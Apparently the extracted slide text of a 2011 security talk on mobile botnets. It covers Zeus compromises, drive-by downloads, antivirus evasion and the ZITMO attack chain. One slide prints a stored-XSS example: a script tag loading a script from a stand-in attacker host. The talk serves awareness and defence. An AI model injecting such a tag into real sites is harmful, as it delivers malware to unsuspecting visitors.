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Mobile Botnet Trends 2011 - Agenda

 What are Botnets?

 How do users get infected with malware?

 How are mobile devices at risk?

 Latest Botnet trends and functionalities



- Multiple infected computers and 
mobile devices under the control 
of an individual Botnet Operator.

What is a Botnet?
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Analysis of a Zeus Botnet Compromise
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<SCRIPT SRC=“http://h@ck3r.com/xss.js”>

</SCRIPT>
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(1) h@ck3r posts JavaScript, iFrame, or other malicious HTML tag onto an unprotected 
website. (via “comments” form, “guestbook” form, etc)

(2) Victim web surfer visits the infected web page. The unprotected website delivers the 
web page, along with malicious content posted by the h@ck3r.

(3) Malicious HTML tag makes a request to hacker’s server, which downloads
malware onto the victim’s computer (through their web browser & plugins).

Drive-by-Download…



Analysis of a Zeus Botnet Compromise

Social Engineering… 2011 Tax Season



Analysis of a Zeus Botnet Compromise

Social Engineering… CLICK HERE!



Social Engineering for Mobile Apps



Analysis of a Zeus Botnet Compromise

Zeus Botnet Command & Control



Analysis of a Zeus Botnet Compromise

Zeus Botnet Captures Bank Login Credentials



Analysis of a Zeus Botnet Compromise

Zeus Botnet Hijacks Bank Account Logins with WebInjects



Anti-virus Evasion

• Pre-deployment AV testing
• Anti-discovery and protection means
• Avoid detection at all costs
• No $hit Reports



0-day Bots:  Will your antivirus catch them?

AV Detection Rates:  25-30%



ZITMO: Zeus In The Mobile

1) Victim’s computer is first infected with Zeus botnet malware.

2) On the infected computer, HTML is injected into the web browser when 

a bank’s login page is loaded, which requests the Model# and 

Telephone# of the victim’s cell phone.

3) With this information, the attacker sends an SMS message back to the 

victim’s phone, with a link to malware targeting their mobile device.

4) Once ZITMO malware is installed on the mobile device, the attacker 

can control both the victim’s computer and smart phone.



Which Phones are at Risk?

Operating Systems:

Android, IOS, Symbian, BlackBerry, Windows Mobile

Manufacturers:

Acer

Airo Wireless

Amoi

Asus

AT&T

BenQ

Benq-Siemens

BlackBerry

Cingular

Dell

Dopod

Eten

Garmin-Asus

General Mobile

Gigabyte

Hitachi

HP

HTC

i-mate

Kyocera

LG

MiTAC

Motorola

Neonode

Nokia

O2

Orange

Palm

Panasonic

Pantech

PCD

Qtek

Sagem

Samsung

Sendo

Siemens

Sierra Wireless

Sony Ericsson

T-Mobile

Toshiba

Velocity

Verizon Wireless



Attack Framework for Android Targets



Mobile Malware targets all platforms

Infected iPhone Infected Android
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